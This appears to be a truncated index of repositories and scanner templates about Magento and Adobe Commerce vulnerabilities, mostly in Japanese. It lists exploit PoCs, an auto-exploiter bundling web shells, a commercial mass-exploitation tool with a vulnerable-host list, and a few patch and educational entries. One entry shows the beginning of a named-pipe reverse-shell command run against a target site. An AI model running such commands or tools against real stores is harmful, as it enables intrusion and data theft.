CVE-2024-34102-CosmicSting-XXE-in-Adobe-Commerce-and-Magento

CosmicSting: Adobe Commerce および Magento における認証不要の重大な XXE 脆弱性 CVE-2024-34102 CVE-2024-34102 は、Adobe Commerce および Magento におけるネストされた逆シリアル化の不適切な処理に起因する重大なセキュリティ上の欠陥です。この脆弱性により、攻撃者は逆シリアル化プロセス中に XML 外部エンティティ XXE を悪用でき、リモートでコードを実行される可能性があります。要するに、攻撃者は悪意のある JSON...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 脆弱性の詳細 HackTheBox - SwagShop で確認された脆弱性 ステージ1 = exploit.py Magento CMS ダッシュボードへの管理者認証情報を取得する ステージ2 = postauth.py exploit.py から取得した認証情報を postauth.py に追加して実行: root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat...

magento2-cosmic-sting-patch

Magento 2 CVE-2024-34102（又名Cosmic Sting）补丁 一个替代解决方案（作为Magento 2扩展），用于修复XXE漏洞CVE-2024-34102（又名Cosmic Sting）。如果您无法升级Magento或无法应用官方补丁，请尝试这个。 如果您不修复此漏洞，攻击者可能实现远程代码执行（RCE）。我们已观察到真实世界的攻击。 CVE-2024-34102 受影响Magento版本（从2.3开始） 2.3.0 2.4.4-p8 2.4.5 2.4.5-p7 2.4.6 2.4.6-p5 2.4.7 背景 CVE-2024-34102（又名Cosmic...

LetMeFuckIt-Scanner

LetMeFuckIt Scanner AutoPWNED Magento用スキャナーおよびエクスプロイト このスキャナーは、Magentoの SQLi脆弱性（1.9.1.0 CE） を悪用します。 この脆弱性は パッチSUPEE-5344 で修正されましたが、このスキャナーはセキュリティパッチを適用していないシステムを特定しテストするために使用されます。 LetMeFuckIt はPythonで書かれており、以下のライブラリを使用しています： pygoogle, argparse, urllib2, requests, base64 使用方法: root@kitploit:...

session_reaper_lab

CVE-2025-54236 - SessionReaper Lab CVE-2025-54236 SessionReaper の実践的デモンストレーションのための Docker 環境: Magento Open Source 2.4.7 における PHP オブジェクトデシリアライゼーションから RCE に至る脆弱性。 管理された環境でのみ使用してください。明示的な許可なくシステムに対して実行しないでください。 脆弱性について CVE-2025-54236 は、Magento Open Source および Adobe Commerce のバージョン 2.4.7...

CVE-2022-35500

CVE-2022-35500 Magento 2 用 Amasty Blog Pro のコメント投稿機能における保存型クロスサイトスクリプティング XSS 説明 Magento 2 用 Amasty Blog Pro 2.10.3 および 2.10.4 プラグインのコメント投稿機能では、GraphQL エンドポイントを介して AmBlogLeaveComment ミューテーションの name パラメータに JavaScript コードを注入することが可能です。この JavaScript コードは、被害者（管理者）が管理パネルからコメントを削除しようとした際に実行されます。...

Magento-CVE-2019-7139-SQLi-PoC

CVE-2019-7139 PoC: Magento SQLインジェクション このリポジトリは、Ambionics SecurityのCharles Folによって発見された、Magentoの認証不要なSQLインジェクション脆弱性 CVE-2019-7139 PRODSECBUG-2198 に対する概念実証 PoC エクスプロイトを含んでいます。 脆弱性の詳細 CVE ID : CVE-2019-7139 影響を受けるバージョン : Magento Open Source = 1.9.4.0 Magento Commerce = 1.14.4.0 Magento 2.1 = 2.1.16...

Magento-ver.-2.4.6

エクスプロイトタイトル: FireBear Studio Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT Server Side Injection 日付: 2023-11-17 エクスプロイト作者: tmrswrr ベンダーホームページ: FireBear Studio ソフトウェアリンク: FireBear Studio Improved Import & Export バージョン: FireBear Improved Import & Export ver. 3.8.6 PoC 1...

NekoBotV1

NekoBotV1Rev | Auto Explotador con más de 500 Exploits y 2000+ Shells Para la versión antigua NekobotV1 NekoBotV1Rev es una herramienta de auto explotación para facilitar la penetración de uno o muchos sitios web Wordpress, Joomla, Drupal, Magento, Opencart, etc.. Características : + Wordpress :...

PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-

CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 - PHPオブジェクトインジェクション → RCE -red 📋 説明 CVE-2026-45247 は、Magento 2 および Adobe Commerce 向けの Mirasvit Full Page Cache Warmer 拡張機能における重大な PHPオブジェクトインジェクション PHP Object Injection の脆弱性です。認証されていない攻撃者が、操作されたシリアル化された PHP オブジェクトを CacheWarmer...

Adobe Commerce/Magento - Customer Session Identity Switch

Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction. id: CVE-2026-71362 info: name: Adobe Commerce/Magento - Customer Session Identity Switch...

Magento Server Mass Importer - Cross-Site Scripting

Magento Server Mass Importer plugin contains multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via the 1 profile parameter to web/magmi.php or 2 QUERYSTRING to web/magmiimportrun.php. id: CVE-2015-2068 info: name: Magento Server Mass...

Magento - SQL Injection

An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage. id: CVE-2019-7139 info: name: Magento - SQL Injection author: MaStErChO severity: critical description: | An unauthenticated user can execute SQL...

MAGMI - Cross-Site Request Forgery

MAGMI Magento Mass Importer is vulnerable to cross-site request forgery CSRF due to a lack of CSRF tokens. Remote code execution via phpcli command is also possible in the event that CSRF is leveraged against an existing admin session. id: CVE-2020-5776 info: name: MAGMI - Cross-Site Request...

Magento 2 Amasty Order Attributes < 4.0.0 - Unauthenticated Arbitrary File Upload

Amasty Order Attributes for Magento 2 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting. id:...

Magento Mass Importer <0.7.24 - Remote Auth Bypass

Magento Mass Importer aka MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure. id: CVE-2020-5777 info: name: Magento Mass Importer 0.7.24 - Remote Auth Bypass author: dwisiswant0...

CVE-2022-24086-RCE-PoC

CVE-2022-24086 RCE POC 概要 Adobeが「極めて限定的な攻撃で悪用された」と報告したCVE-2022-24086は、深刻度スコア10点中9.8を記録し、これを悪用する攻撃者は、認証を必要とせずに影響を受けるシステム上でリモートコード実行を達成できます。現在CVE-2022-24087として追跡されている問題も、同じ深刻度スコアを持ち、攻撃に利用された場合に同じ結果をもたらす可能性があります。どちらも不適切な入力検証の脆弱性であり、Adobeはこれら2つのセキュリティ問題に対処するため、Adobe CommerceとMagento Open...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 のエクスプロイトツールは、Python 3 で書かれており、URL/IP のリストに対応しています。このダウンロードには、shodan.io および個人のスキャンに基づく、潜在的に脆弱な 334,300 以上のホストのリストが含まれています。 このツールは悪用を防ぐため無料ではありません。現在パッチが適用されつつありますが、大多数のシステムはまだパッチされていません。 販売のため、限定4コピーを用意しました。詳細はこちら:https://satoshidisk.com/pay/CEtVaB 必要条件 sudo apt-g...

CVE-2024-34102

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 私たちは、テロ組織ハマスによって人質に取られたすべての市民の安全な帰還を求めます。すべての人質が解放され、無事に帰宅するまで私たちは休みません。あなたも彼らを家に連れ戻す手助けができます。https://stories.bringthemhomenow.net/ CVE-2024-34102 PoC 🚀 このリポジトリには、Magento の重大な XML...

magento-cve-2024-34102-exploit-cosmicstring

CVE 2024-34102 - CosmicSting XXE脆弱性（Adobe Commerce & Magento） - 教育資料 このリポジトリには、Adobe Commerce および Magento における最新の XML External Entity（XXE）脆弱性 に関する講演のスライドとデモ資料が含まれています。これらの資料の目的は純粋に教育的であり、開発者、セキュリティ専門家、eコマース関係者にこの脆弱性、その潜在的な影響、および防御方法について知らせることを目的としています。 内容 スライド : 脆弱性の概要と仕組み XXEデモ :...